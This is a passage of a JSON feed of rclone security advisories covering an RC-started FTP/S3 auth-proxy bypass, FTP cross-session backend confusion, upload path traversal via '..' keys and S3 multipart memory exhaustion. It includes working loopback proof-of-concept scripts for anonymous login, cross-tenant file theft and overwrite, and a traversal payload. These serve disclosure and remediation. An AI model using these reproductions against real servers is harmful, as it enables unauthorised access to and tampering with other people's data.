not affected by this configuration mismatch.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/rc.go:68-93` documents nested per-server `proxyOpt` support, including `AuthProxy`.\n- `cmd/serve/rc.go:111-148` resolves the fixed `fs` and invokes the selected per-protocol RC constructor.\n- `cmd/serve/ftp/ftp.go:96-116` parses the request-local `proxyOpt` and passes it to `newServer`.\n- `cmd/serve/ftp/ftp.go:186-207` checks `proxy.Opt.AuthProxy` at line 202 instead of `proxyOpt.AuthProxy`; the false branch creates `globalVFS` from the RC-supplied filesystem.\n- `cmd/serve/ftp/ftp.go:54-60` defines the fallback credentials as user `anonymous` and an empty password.\n- `cmd/serve/ftp/ftp.go:318-349` accepts any password when the configured fallback password is empty.\n- `cmd/serve/s3/s3.go:76-96` parses and passes the request-local S3 proxy options.\n- `cmd/serve/s3/server.go:67-101` checks `proxy.Opt.AuthProxy` at line 91 and otherwise exposes the fixed VFS. S3 authentication through `AuthKey` remains separate from proxy-based backend selection.\n- Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends.\n- Configuration attack surface: `rclone rc serve/start ... proxyOpt='{\"AuthProxy\":\"...\"}'` or the equivalent JSON request.\n\n## Technical Root Cause Analysis\n\nThe serve implementation has two option scopes:\n\n- `proxy.Opt` is process-global and is populated by command-line/global option parsing.\n- `proxyOpt` is a constructor argument populated from the individual `serve/start` request.\n\nThe RC adapters correctly create a local copy, apply the request parameters, and call `newServer(..., \u0026proxyOpt)`. Neither adapter mutates the global. The constructors then branch on the wrong value:\n\n```go\n// Current FTP and S3 pattern\nif proxy.Opt.AuthProxy != \"\" {\n    // Uses proxyOpt only after the unrelated global check succeeds.\n    serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)\n} else {\n    // Fail-open fixed-backend mode.\n}\n```\n\nConsequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse `proxyOpt`, and the generic `serve/start` documentation gives `proxyOpt.AuthProxy` as an example.\n\nFor FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured `AuthKey`. If no `AuthKey` is configured, anonymous S3 access is expected behavior and should not be cited as impact.\n\n## Proof of Concept \u0026 Evidence\n\nThe following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.\n\nBuild the inspected revision, then prepare a fixed filesystem and rejecting proxy:\n\n```sh\nmkdir -p /tmp/rclone-rc-root\nprintf 'fixed-backend-secret\\n' \u003e /tmp/rclone-rc-root/secret.txt\nrm -f /tmp/rclone-auth-proxy-invoked\n\ncat \u003e /tmp/deny-rclone-proxy.sh \u003c\u003c'EOF'\n#!/bin/sh\nprintf 'invoked\\n' \u003e\u003e /tmp/rclone-auth-proxy-invoked\ncat \u003e/dev/null\nexit 1\nEOF\nchmod 700 /tmp/deny-rclone-proxy.sh\n```\n\nStart RC on loopback in one terminal:\n\n```sh\n./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth\n```\n\nStart an FTP server with only the request-local auth proxy configured:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 \\\n  serve/start \\\n  type=ftp \\\n  fs=/tmp/rclone-rc-root \\\n  proxyOpt='{\"AuthProxy\":\"/tmp/deny-rclone-proxy.sh\"}' \\\n  opt='{\"ListenAddr\":\"127.0.0.1:2121\",\"PassivePorts\":\"30000-30010\"}'\n```\n\nConnect with the fallback credentials and exercise read and write access:\n\n```sh\npython3 - \u003c\u003c'PY'\nimport ftplib\nimport io\n\nftp = ftplib.FTP()\nftp.connect(\"127.0.0.1\", 2121, timeout=5)\nftp.login(\"anonymous\", \"arbitrary-password\")\n\ndata = bytearray()\nftp.retrbinary(\"RETR secret.txt\", data.extend)\nprint(data.decode().strip())\n\nftp.storbinary(\"STOR overwritten.txt\", io.BytesIO(b\"attacker-controlled\\n\"))\nftp.quit()\nPY\n\ntest ! -e /tmp/rclone-auth-proxy-invoked\ngrep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Login as `anonymous` succeeds with an arbitrary password.\n- `secret.txt` is returned from the fixed RC filesystem.\n- `overwritten.txt` is created in that filesystem.\n- The rejecting auth-proxy program is never invoked.\n\nThe equivalent automated network test, `TestSecurityValidationRCPerServerAuthProxyFTP`, called the actual `serve/start` RC handler, connected through `github.com/jlaffaye/ftp`, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyFTP\n--- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)\n```\n\n### Authenticated S3 backend-routing reproduction\n\nThis validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:\n\n```sh\nmkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket\nprintf 'fixed-backend-secret\\n' \u003e /tmp/rclone-s3-fixed/bucket/fixed-secret.txt\nprintf 'proxy-backend-only\\n' \u003e /tmp/rclone-s3-proxy/bucket/proxy-only.txt\n\ncat \u003e /tmp/rclone-s3-route-proxy.py \u003c\u003c'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\n\njson.load(sys.stdin)\nprint(json.dumps({\"type\": \"local\", \"_root\": \"/tmp/rclone-s3-proxy\"}))\nPY\nchmod 700 /tmp/rclone-s3-route-proxy.py\n```\n\nUsing the same loopback RC process, start an authenticated S3 server:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 serve/start --json '{\n  \"type\": \"s3\",\n  \"fs\": \"/tmp/rclone-s3-fixed\",\n  \"addr\": \"127.0.0.1:8080\",\n  \"auth_key\": [\"validation-key,validation-secret\"],\n  \"proxyOpt\": {\n    \"AuthProxy\": \"python3 /tmp/rclone-s3-route-proxy.py\"\n  }\n}'\n```\n\nSend a correctly signed S3 request:\n\n```sh\nAWS_ACCESS_KEY_ID=validation-key \\\nAWS_SECRET_ACCESS_KEY=validation-secret \\\nAWS_DEFAULT_REGION=us-east-1 \\\naws --endpoint-url http://127.0.0.1:8080 \\\n  s3api get-object \\\n  --bucket bucket \\\n  --key fixed-secret.txt \\\n  /tmp/rclone-s3-result\n\ngrep -F fixed-backend-secret /tmp/rclone-s3-result\n```\n\nIf the request-local proxy were active, `fixed-secret.txt` would not exist because the proxy selects `/tmp/rclone-s3-proxy`. Current code serves it from `/tmp/rclone-s3-fixed`. Conversely, a request for `proxy-only.txt` returns `NoSuchKey`.\n\nThe automated validation `TestSecurityValidationRCPerServerAuthProxyS3Routing` performed this sequence through the actual `serve/start` handler and a MinIO Signature V4 client. It used a valid `AuthKey`, fetched `fixed-secret.txt`, and confirmed that `proxy-only.txt` was absent:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyS3Routing\n--- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)\n```\n\nThis demonstrates backend-authorization bypass, not anonymous S3 access.\n\n## Impact Assessment\n\nFor RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to `serve/start`, subject only to VFS options such as `read_only`. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.\n\nFor RC-started S3 servers that combine `auth_key` with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as `fs` and on the fixed filesystem's VFS permissions.\n\nExploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.\n\n## Remediation Guidance\n\nChange the mode checks in both constructors to use the option object passed to that server:\n\n```go\nif proxyOpt != nil \u0026\u0026 proxyOpt.AuthProxy != \"\" {\n    d.proxy = proxy.New(ctx, proxyOpt, vfsOpt)\n    // Do not create a fixed/global VFS in this mode.\n} else {\n    d.globalVFS = vfs.New(ctx, f, vfsOpt)\n}\n```\n\nApply the equivalent change in `cmd/serve/s3/server.go`. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.\n\nAlso:\n\n- Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back.\n- In S3, make the “allowing anonymous access” log conditional on both the absence of `AuthKey` and the absence of an active auth proxy, so the log reflects the effective mode.\n- Add RC integration tests for FTP and S3 with global `proxy.Opt.AuthProxy` empty and nested `proxyOpt.AuthProxy` non-empty.\n- In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked.\n- In the S3 test, configure `AuthKey`, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC `fs`.\n- Add a multi-server test proving that two simultaneous `serve/start` instances can use different proxy settings without consulting or mutating global state.\n- Audit other `serve.AddRc` implementations for the same pattern: parsing a request-local option but branching on its global counterpart.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-10T22:47:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-p569-5gjg-9cmj","https://nvd.nist.gov/vuln/detail/CVE-2026-88044","https://github.com/rclone/rclone/commit/739403963abf6f58003c2becd5f7c4ad0d644153","https://github.com/rclone/rclone/releases/tag/v1.75.1","https://github.com/advisories/GHSA-p569-5gjg-9cmj"],"source_kind":"github","identifiers":["GHSA-p569-5gjg-9cmj","CVE-2026-88044"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-10T23:00:09.344Z","updated_at":"2026-09-12T21:00:09.825Z","epss_percentage":0.00492,"epss_percentile":0.40752,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNTY5LTVnamctOWNtas4ABxV5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNTY5LTVnamctOWNtas4ABxV5","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.1","vulnerable_version_range":"\u003e= 1.70.0, \u003c 1.75.1"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNTY5LTVnamctOWNtas4ABxV5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNDc2LTZ3NXEtanc3N84ABxV4","url":"https://github.com/advisories/GHSA-c476-6w5q-jw77","title":"rclone: FTP cross-session auth-proxy backend confusion","description":"## Summary\n\nThe FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.\n\nThis is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: `cmd/serve/proxy` keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.\n\nConfirmed affected versions are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The username-global map was introduced in `v1.64.0`, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/ftp/ftp.go:170-178` defines `userPass map[string]string` as driver-global state keyed only by username.\n- `cmd/serve/ftp/ftp.go:318-335` validates `(user, pass)` through the proxy and then overwrites `d.userPass[user]`.\n- `cmd/serve/ftp/ftp.go:352-373` retrieves the current map entry by `Sess.LoginUser()` for every filesystem operation and calls the proxy again with that password.\n- `cmd/serve/ftp/ftp.go:376` onward routes FTP filesystem operations through `getVFS`, including stat, listing, retrieval, upload, rename, and deletion.\n- `cmd/serve/proxy/proxy.go:114-119` documents credential- and client-IP-aware backend caching.\n- `cmd/serve/proxy/proxy.go:235-243` derives a cache key from username, credential, and client IP.\n- `cmd/serve/proxy/proxy.go:328-365` resolves and verifies the VFS using that composite identity.\n- Attack surface: any `rclone serve ftp --auth-proxy ...` deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.\n\n## Technical Root Cause Analysis\n\nAuthentication initially uses the correct session data:\n\n```go\nd.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())\n```\n\nAfter success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:\n\n```go\nd.userPass[user] = oPass\n```\n\nFor each later FTP operation, `getVFS` knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.\n\nThe authorization sequence is therefore:\n\n1. Session A authenticates as `shared` with credential A and receives backend A.\n2. Session B authenticates as `shared` with credential B and overwrites `userPass[\"shared\"]`.\n3. Session A performs another FTP command.\n4. `getVFS` uses credential B, not the credential that authenticated Session A.\n5. The proxy returns backend B, and Session A's command runs there.\n\nThis creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.\n\n## Proof of Concept \u0026 Evidence\n\nCreate two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:\n\n```sh\nmkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim\nprintf 'attacker-only\\n' \u003e /tmp/rclone-ftp-attacker/attacker.txt\nprintf 'victim-secret\\n' \u003e /tmp/rclone-ftp-victim/victim.txt\n\ncat \u003e /tmp/rclone-ftp-proxy.py \u003c\u003c'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\n\nrequest = json.load(sys.stdin)\nroots = {\n    \"attacker-token\": \"/tmp/rclone-ftp-attacker\",\n    \"victim-token\": \"/tmp/rclone-ftp-victim\",\n}\n\nif request.get(\"user\") != \"shared\" or request.get(\"pass\") not in roots:\n    sys.exit(1)\n\nprint(json.dumps({\n    \"type\": \"local\",\n    \"_root\": roots[request[\"pass\"]],\n}))\nPY\nchmod 700 /tmp/rclone-ftp-proxy.py\n```\n\nStart the FTP server on loopback:\n\n```sh\n./rclone serve ftp \\\n  --auth-proxy \"python3 /tmp/rclone-ftp-proxy.py\" \\\n  --addr 127.0.0.1:2121 \\\n  --passive-port 30000-30010\n```\n\nIn another terminal, keep both sessions open and trigger the overwrite:\n\n```sh\npython3 - \u003c\u003c'PY'\nimport ftplib\nimport io\n\ndef connect(password):\n    ftp = ftplib.FTP()\n    ftp.connect(\"127.0.0.1\", 2121, timeout=5)\n    ftp.login(\"shared\", password)\n    return ftp\n\nattacker = connect(\"attacker-token\")\n\n# Establish the attacker's original authority.\noriginal = bytearray()\nattacker.retrbinary(\"RETR attacker.txt\", original.extend)\nassert original == b\"attacker-only\\n\"\n\ntry:\n    attacker.size(\"victim.txt\")\n    raise AssertionError(\"victim file unexpectedly visible before overwrite\")\nexcept ftplib.error_perm:\n    pass\n\n# A second principal logs in with the same username and a different token.\nvictim = connect(\"victim-token\")\nassert victim.size(\"victim.txt\") \u003e 0\n\n# The first session is now silently rebound to the victim backend.\nstolen = bytearray()\nattacker.retrbinary(\"RETR victim.txt\", stolen.extend)\nprint(stolen.decode().strip())\nattacker.storbinary(\"STOR victim.txt\", io.BytesIO(b\"modified-by-first-session\\n\"))\n\nattacker.quit()\nvictim.quit()\nPY\n\ngrep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Before the victim login, the attacker session resolves only the attacker root.\n- After the victim login, the already-authenticated attacker session reads `victim.txt`.\n- A write through the attacker session overwrites the file in the victim root.\n\nThe complete automated validation used the actual FTP listener, two simultaneous `github.com/jlaffaye/ftp` clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that `victim.txt` was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationFTPAuthProxyCrossSession\n--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)\n```\n\nBoth PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.\n\n## Impact Assessment\n\nA low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.\n\nThe maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.\n\nThis is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.\n\n## Remediation Guidance\n\nBind the credential or backend identity to the FTP session, never to the username. `goftp.io/server/v2` exposes `sctx.Sess.Data`, which persists across commands for one session and is released with that session.\n\nA compatible fix is:\n\n1. On successful `CheckPasswd`, store a private session binding in `sctx.Sess.Data`. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.\n2. In `getVFS`, retrieve only that session binding. Never consult a driver-global username map.\n3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.\n4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling `Proxy.Call` retains current expiry behavior while maintaining identity.\n5. Remove `userPass`, `userPassMu`, and the associated global credential lifetime after the session-based path is in place.\n\nAvoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes `Session.Data` unsuitable, use the `*ftp.Session` pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-10T22:46:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-c476-6w5q-jw77","https://nvd.nist.gov/vuln/detail/CVE-2026-88017","https://github.com/rclone/rclone/commit/c6af0b57c2b4af848bc968c2b407354476184b99","https://github.com/rclone/rclone/releases/tag/v1.75.1","https://github.com/advisories/GHSA-c476-6w5q-jw77"],"source_kind":"github","identifiers":["GHSA-c476-6w5q-jw77","CVE-2026-88017"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-10T23:00:09.344Z","updated_at":"2026-09-12T21:00:09.828Z","epss_percentage":0.00229,"epss_percentile":0.13659,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNDc2LTZ3NXEtanc3N84ABxV4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNDc2LTZ3NXEtanc3N84ABxV4","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.1","vulnerable_version_range":"\u003e= 1.64.0, \u003c= 1.75.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNDc2LTZ3NXEtanc3N84ABxV4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOHh2LWhmM3AtaDdtcc4ABxV3","url":"https://github.com/advisories/GHSA-38xv-hf3p-h7mq","title":"rclone: source object names can escape the configured root on upload","description":"### Summary\n\nMultiple backends, when given a specially crafted object to copy, can escape the backend confinement.\n\n| Backend | Keep/Close | Per-backend severity |\n|---|---|---|\n| sftp | Medium | Real filesystem escape, fires under default encoding. |\n| smb | Low-Medium | Escapes to a different SMB share the credential can reach. |\n| ftp | Low | Real, leading-`..` overshoot PoC is partly neutralized by encoding; escape bounded to at/below the login base. |\n| webdav | Low | Server-side ACLs are the real boundary. |\n| b2 | Low | Same-account sibling **bucket** crossing on a flat keyspace. |\n| swift | Low | Same, container. |\n| qingstor | Low | Same. |\n| oracleobjectstorage | Low | Same. |\n| internetarchive | Low | IA items are owner-writable only; confined to user's own items. |\n| storj | Low | Can retarget a different bucket in the same access grant. |\n| filelu | Low | Confined to the user's own account. |\n| shade | Low | Confined to the user's own drive. |\n| sia | Low | siad API password already grants full-daemon access. |\n\n## Root cause\n\nrclone core does **not** sanitize `..` in a source object's `Remote()` - verified: nothing in `fs/march`, `fs/sync`, `fs/list`, or `fs/operations` rejects `..` segments before the name reaches the destination backend's `Put`/`Update`/`Mkdir`. Confinement is therefore each backend's responsibility, and these backends join `root + remote` without a check.\n\nThis divides into two classes:\n\n- **Bucket based backends** - `bucket.Split(path.Join(f.root, rootRelativePath))`:\n  - `backend/b2/b2.go:404`, `backend/swift/swift.go:464`, `backend/qingstor/qingstor.go:198`, `backend/oracleobjectstorage/oracleobjectstorage.go:245`, `backend/internetarchive/internetarchive.go:1016`, `backend/smb/smb.go:885`, `backend/storj/fs.go:289`.\n  - `path.Join` collapses `..` on the standard (ASCII) form **before** encoding is applied (e.g. `FromStandardPath(path.Join(...))` at `backend/b2/b2.go:1641`), so `EncodeDot` never gets the chance to neutralize the `..`.\n  - `lib/bucket.Join` does **not** clean paths (keeps `..` as a literal key segment); `path.Join` does. `backend/s3`, `backend/azureblob`, `backend/googlecloudstorage` already use `bucket.Join` and are therefore not affected.\n\n- **Path based backends** - `path.Join(root, remote)` onto a real path:\n  - sftp: `remotePath = path.Join(f.absRoot, f.opt.Enc.FromStandardPath(remote))` (`backend/sftp/sftp.go:2497`). Default encoding is `encoder.Display` (== `Standard`), and `FromStandardPath` short-circuits to a pass-through in that mode, so `..` survives; `f.absRoot` is absolute, so `path.Join(\"/home/user/root\", \"../../../../etc/passwd\")` -\u003e `/etc/passwd`.\n  - webdav: `filePath` at `backend/webdav/webdav.go:426-432`.\n  - ftp: `path.Join(f.root, remote)` at ~14 sites (e.g. `backend/ftp/ftp.go:1247`).\n  - filelu, shade, sia: analogous joins.\n\n### Precondition that limits reachability\n\nFor any of these to fire, a **source** must hand rclone a `Remote()` containing raw `..`. That is only possible when:\n\n1. the source is a **flat-keyspace object store** (not a filesystem - a local/sftp/smb source cannot represent `../../x` as one directory entry), **and**\n2. the offending key was written with **native, non-rclone tooling** - rclone's own writer applies `EncodeDot` and rewrites a `..` segment to fullwidth `．．`, so you cannot create such a key *through rclone*.\n\nrclone's source-side listing does pass a natively-planted raw `..` key through unchanged (verified for b2: `remote := file.Name[len(prefix):]` after `ToStandardPath`, `backend/b2/b2.go:858,867`). The reports never establish this precondition; it is the same omission across every member of the class.\n\n### Example attack\n\n```bash\n# Step 1 - attacker, using NATIVE S3 tooling (NOT rclone) on a source the victim ingests from:\naws s3api put-object --bucket shared-drop --key '../../victim-backups/pwned.txt' --body evil.txt\n\n# Step 2 - victim's ordinary ingest:\nrclone copy s3-drop:shared-drop b2:victim-uploads/incoming\n# path.Join(\"victim-uploads/incoming\", \"../../victim-backups/pwned.txt\") = \"victim-backups/pwned.txt\"\n# -\u003e lands in the victim's victim-backups bucket instead of under incoming/\n```\n\nThe blast radius is the victim's **own** account (a bucket/share/path the configured credential already reaches) - integrity misdirection, not a cross-tenant or confidentiality breach. sftp/smb are the exception in *reach* (server filesystem / other share), still bounded by the login's own permissions.\n\n## Precedent\n\nThis is the same class as the already-fixed local backend advisory [https://github.com/rclone/rclone/security/advisories/GHSA-7p4m-qxvv-g567](GHSA-7p4m-qxvv-g567), which added `(*Fs).localPath` returning `errPathEscapes` for names resolving outside the root (`backend/local/local.go:819-826`). That fix was justified because the destination was the operator's own OS filesystem; the same reasoning extends (at lower severity) to sftp/smb.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-10T22:45:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-38xv-hf3p-h7mq","https://nvd.nist.gov/vuln/detail/CVE-2026-88046","https://github.com/rclone/rclone/commit/57842c5ee4e1407eda06a414a36510cce2db4252","https://github.com/rclone/rclone/releases/tag/v1.75.1","https://github.com/advisories/GHSA-38xv-hf3p-h7mq"],"source_kind":"github","identifiers":["GHSA-38xv-hf3p-h7mq","CVE-2026-88046"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-10T23:00:09.344Z","updated_at":"2026-09-12T21:00:09.829Z","epss_percentage":0.00294,"epss_percentile":0.21831,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOHh2LWhmM3AtaDdtcc4ABxV3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOHh2LWhmM3AtaDdtcc4ABxV3","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.1","vulnerable_version_range":"\u003c 1.75.1"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOHh2LWhmM3AtaDdtcc4ABxV3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ycDQ4LWozcWMtcng5Zs4ABxV2","url":"https://github.com/advisories/GHSA-2p48-j3qc-rx9f","title":"rclone: S3 multipart declared-length memory exhaustion","description":"## Summary\n\nIn streamed multipart mode, `serve s3` passes the request's declared part length to `multipart.NewRW().Reserve(contentLength)` before reading any part data. `Reserve` immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on `Content-Length` or `X-Amz-Decoded-Content-Length`; the client does not need to transmit the corresponding body.\n\n`--multipart-streaming-buffer-limit` does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag's short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host.\n\nThe default S3 configuration allows anonymous access when no `auth_key` is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`, both of which include streamed multipart support.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/s3/s3.go:40-46` defines the streaming buffer limit and describes it as a limit for out-of-order parts.\n- `cmd/serve/s3/server.go:67-101` permits anonymous requests when `AuthKey` is empty and configures S3 authentication otherwise.\n- `cmd/serve/s3/multipart.go:183-209` admits the declared part size and calls `Reserve(contentLength)` before `io.Copy` reads the body.\n- `cmd/serve/s3/multipart.go:220-238` always admits the current expected part and one oversized part when the buffer is empty, even when `size \u003e bufferLimit`.\n- `lib/multipart/multipart.go:23-24` creates an RW backed by the global memory pool.\n- `lib/pool/reader_writer.go:64-76` rounds the declared length to pool pages and immediately calls `GetN`.\n- `lib/pool/pool.go:18-23` sets the global pool page size to 1 MiB.\n- `lib/pool/pool.go:223-260` allocates every requested page in `GetN`.\n- `github.com/rclone/gofakes3@v0.0.7/gofakes3.go:952-1004` parses the request length without an upper bound, including the decoded-length header used for streaming signatures.\n- `github.com/rclone/gofakes3@v0.0.7/gofakes3.go:1021-1023` passes the declared length and unread request body to rclone's streaming `UploadPart` implementation.\n- Network attack surface: S3 `CreateMultipartUpload` followed by `UploadPart` against a backend eligible for streamed multipart uploads.\n\n## Technical Root Cause Analysis\n\nThe admission counter and the allocator both use the attacker-controlled `contentLength`, while the admission rules allow the current part regardless of its size:\n\n```go\nif up.bufferLimit \u003c= 0 ||\n    partNumber \u003c= up.nextPart ||\n    up.buffered == 0 ||\n    up.buffered+size \u003c= up.bufferLimit {\n    up.buffered += size\n    return nil\n}\n```\n\nPart 1 of a new upload satisfies both `partNumber \u003c= up.nextPart` and `up.buffered == 0`, regardless of size. `UploadPart` then executes:\n\n```go\nrw := multipart.NewRW().Reserve(contentLength)\n```\n\n`Reserve` calculates the page count and calls `pool.GetN`. With the default global pool, `GetN` allocates a 1 MiB byte slice for every missing page. This occurs before `io.Copy` attempts to read the request body.\n\nThe HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts `Content-Length` as an `int64`; signed streaming requests can replace it with `X-Amz-Decoded-Content-Length`. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect.\n\nThe documented statement that memory is bounded by “parts in flight” is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS's normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation.\n\nSetting the global `--max-buffer-memory` may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses `context.Background()`, and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination.\n\n## Proof of Concept \u0026 Evidence\n\n### Bounded regression test\n\nThe following test proves both the limit bypass and immediate allocation without stressing the host. Add it as `cmd/serve/s3/security_regression_test.go`:\n\n```go\npackage s3\n\nimport (\n    \"testing\"\n\n    \"github.com/rclone/rclone/lib/multipart\"\n    \"github.com/rclone/rclone/lib/pool\"\n    \"github.com/stretchr/testify/require\"\n)\n\nfunc TestOversizedCurrentPartReservation(t *testing.T) 